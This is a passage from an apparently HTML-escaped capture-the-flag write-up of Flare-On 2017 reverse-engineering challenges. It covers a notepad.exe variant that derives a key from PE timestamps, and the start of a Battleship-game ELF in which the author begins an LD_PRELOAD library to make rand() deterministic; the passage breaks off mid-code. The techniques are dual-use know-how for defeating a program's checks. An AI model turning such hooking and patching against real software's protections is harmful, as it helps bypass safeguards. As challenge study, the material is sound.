&lt;p&gt;This function will take the timestamps from
the
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;msdn.microsoft.com&#x2F;en-us&#x2F;library&#x2F;windows&#x2F;desktop&#x2F;ms680313(v=vs.85).aspx&quot;&gt;PE header&lt;&#x2F;a&gt;
of the current program (&lt;code&gt;notepad.exe&lt;&#x2F;code&gt;) and the PE file mapped to memory. If
those 2 values are the ones expected, then 2 functions are called successively:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Function @ 0x1014350 which will format the timestamp of the mapped file and
&lt;code&gt;MessageBox&lt;&#x2F;code&gt;-it &lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;3321b96da80e52cd9e26eda05122bb1bd58a18216d6aeb1b4205162d2ed6dbf6.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;3321b96da80e52cd9e26eda05122bb1bd58a18216d6aeb1b4205162d2ed6dbf6.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Function @ 0x1014BAC which will open a file &lt;code&gt;key.bin&lt;&#x2F;code&gt; in
&lt;code&gt;flareon2016challenge&lt;&#x2F;code&gt; folder and write 8 bytes from some offset
in the mapped file into it.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Or in horrible pseudo-code:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;encoded_buffer = [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x37&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xe7&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xd8&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xbe&lt;&#x2F;span&gt;&lt;span&gt;, etc..]  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# populated at 010148F3
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;notepad.pe.timestamp == &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2008-04-13 11:35:51&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; and mmap.pe.timestamp == &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2016-09-08 11:49:06&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;:
&lt;&#x2F;span&gt;&lt;span&gt;   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;MessageBox&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2016-09-08 11:49:06&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;)
&lt;&#x2F;span&gt;&lt;span&gt;   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Write_8_Bytes_From&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;src&lt;&#x2F;span&gt;&lt;span&gt;=mmap, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;dst&lt;&#x2F;span&gt;&lt;span&gt;=`key.bin`)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;elif &lt;&#x2F;span&gt;&lt;span&gt;notepad.pe.timestamp == &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2016-09-08 11:49:06&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; and mmap.pe.timestamp == &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2016-09-09 05:54:16&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;:
&lt;&#x2F;span&gt;&lt;span&gt;   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;MessageBox&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2016-09-09 05:54:16&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;)
&lt;&#x2F;span&gt;&lt;span&gt;   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Write_8_Bytes_From&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;src&lt;&#x2F;span&gt;&lt;span&gt;=mmap, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;dst&lt;&#x2F;span&gt;&lt;span&gt;=`key.bin`)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;elif &lt;&#x2F;span&gt;&lt;span&gt;notepad.pe.timestamp == &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2016-09-09 05:54:16&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; and mmap.pe.timestamp == &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2008-11-10 01:40:34&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;:
&lt;&#x2F;span&gt;&lt;span&gt;   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;MessageBox&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2008-11-10 01:40:34&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;)
&lt;&#x2F;span&gt;&lt;span&gt;   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Write_8_Bytes_From&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;src&lt;&#x2F;span&gt;&lt;span&gt;=mmap, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;dst&lt;&#x2F;span&gt;&lt;span&gt;=`key.bin`)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;elif &lt;&#x2F;span&gt;&lt;span&gt;notepad.pe.timestamp == &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2008-11-10 01:40:34&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; and mmap.pe.timestamp == &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2016-07-31 17:00:00&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;:
&lt;&#x2F;span&gt;&lt;span&gt;   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;MessageBox&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2016-07-31 17:00:00&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;)
&lt;&#x2F;span&gt;&lt;span&gt;   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Write_8_Bytes_From&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;src&lt;&#x2F;span&gt;&lt;span&gt;=mmap, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;dst&lt;&#x2F;span&gt;&lt;span&gt;=`key.bin`)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;elif &lt;&#x2F;span&gt;&lt;span&gt;notepad.pe.timestamp == &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2016-07-31 17:00:00&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;:
&lt;&#x2F;span&gt;&lt;span&gt;   key = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ReadFileContent&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;key.bin&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;)
&lt;&#x2F;span&gt;&lt;span&gt;   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;assert &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(key) == &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x20
&lt;&#x2F;span&gt;&lt;span&gt;   decoded_key = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;DecodeWithKey&lt;&#x2F;span&gt;&lt;span&gt;( encoded_buffer, key )
&lt;&#x2F;span&gt;&lt;span&gt;   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;MessageBox&lt;&#x2F;span&gt;&lt;span&gt;(decoded_key)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So now we know how the decoding key is built, but we don’t know which PE to
use. This guessing game made me lose too much time. The hint was to use 2016 PE
files from last year’s FlareOn challenge.&lt;&#x2F;p&gt;
&lt;p&gt;In the many folders of
the FlareOn3 Zip archive, we could find several PE files whose timestamps match perfectly
with the ones we are looking for. All we need now is drop those files in the
&lt;code&gt;flareon2016challenge&lt;&#x2F;code&gt; directory, and tweak &lt;code&gt;notepad.exe&lt;&#x2F;code&gt; to update its
timestamp. After 4 executions we get the &lt;code&gt;key.bin&lt;&#x2F;code&gt; file properly filled:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;➜&lt;&#x2F;span&gt;&lt;span&gt;  xd &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;~&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;ctf&#x2F;flareon_2017&#x2F;4&#x2F;key.bin
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;00000000&lt;&#x2F;span&gt;&lt;span&gt;  55 8b ec 8b 4d 0c 56 57  8b 55 08 52 ff 15 30 20  |&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;U...M.VW.U.R..0 &lt;&#x2F;span&gt;&lt;span&gt;|
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;00000010&lt;&#x2F;span&gt;&lt;span&gt;  c0 40 50 ff d6 83 c4 08  00 83 c4 08 5d c3 cc cc  |&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.@P.........]...&lt;&#x2F;span&gt;&lt;span&gt;|
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;00000020
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And after updating &lt;code&gt;notepad&lt;&#x2F;code&gt; to the last PE timestamp, we get:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;fe5e80d5dd81c1350413732f30ed5ba2b2e4ae1cf92b00504fa6a0bba1b9a820.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;fe5e80d5dd81c1350413732f30ed5ba2b2e4ae1cf92b00504fa6a0bba1b9a820.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#menu&quot;&gt;Back to Menu&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;challenge-5&quot;&gt;Challenge 5&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;instruction-4&quot;&gt;Instruction&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;You&amp;#39;re doing great. Let&amp;#39;s take a break from all these hard challenges and play a little game.
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;solution-4&quot;&gt;Solution&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mega.nz&#x2F;#!pdgDDITS!CCXq80gh7M2YxOosfdd_jKXG2N9uUSG_1_5NLY_rbFg&quot;&gt;&lt;code&gt;pewpewboat.exe&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; is not a PE file but an
x64 ELF that starts a nice ASCII implementation
of &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Battleship_(game)&quot;&gt;the Battleship game&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;root@kali2:&#x2F;ctf&#x2F;flareon_2017&#x2F;5 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# .&#x2F;pewpewboat.exe
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Loading&lt;&#x2F;span&gt;&lt;span&gt; first pew pew map...
&lt;&#x2F;span&gt;&lt;span&gt;   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt; 2 3 4 5 6 7 8
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_________________
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;A &lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;B &lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;C &lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;D &lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;E &lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;F &lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;G &lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;H &lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;|
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Rank:&lt;&#x2F;span&gt;&lt;span&gt; Seaman Recruit
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Welcome&lt;&#x2F;span&gt;&lt;span&gt; to pewpewboat! We just loaded a pew pew map, start shootin&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;!
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Enter a coordinate:
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The binary starts by initializing the PRNG with the current timestamp, then
allocated a 0x240 in the heap, and starts populating it randomly. It then enters
a loop of game, where the player (us) have 0x64 attempts to win the game.&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;c1042765b377b68599461aa2c7fbabeb502f831a49db09cb5bb6223a22c99bce.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;c1042765b377b68599461aa2c7fbabeb502f831a49db09cb5bb6223a22c99bce.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Inside the loop, the function &lt;code&gt;play()&lt;&#x2F;code&gt; (at 0x4038d6) is called and will print the game grid
and display whether your shot was hit or miss. The coordinates themselves are
read from the function &lt;code&gt;enter_coor()&lt;&#x2F;code&gt; (at 0x40377d).&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;aea95f918e61631fae4e6fe1d003951d1fc30d7fcf0e8ac787b14983e264c876.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;aea95f918e61631fae4e6fe1d003951d1fc30d7fcf0e8ac787b14983e264c876.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;So if we want to win, we need to&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;disable the randomness of the game board&lt;&#x2F;li&gt;
&lt;li&gt;determine which values are being compared when we set coordinates&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;To disable the randomness, I simply used &lt;code&gt;LD_PRELOAD&lt;&#x2F;code&gt; variable against a
homemade shared library that will override calls to &lt;code&gt;rand()&lt;&#x2F;code&gt; and &lt;code&gt;rand()&lt;&#x2F;code&gt; to a
deterministic output:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Compile with : $ gcc -shared -fPIC disable_time.c -o disable_time.so
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Load in GDB with: gef➤  set environment LD_PRELOAD=disable_time.so
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#include &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;time.h&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#include &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;stdlib.h&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
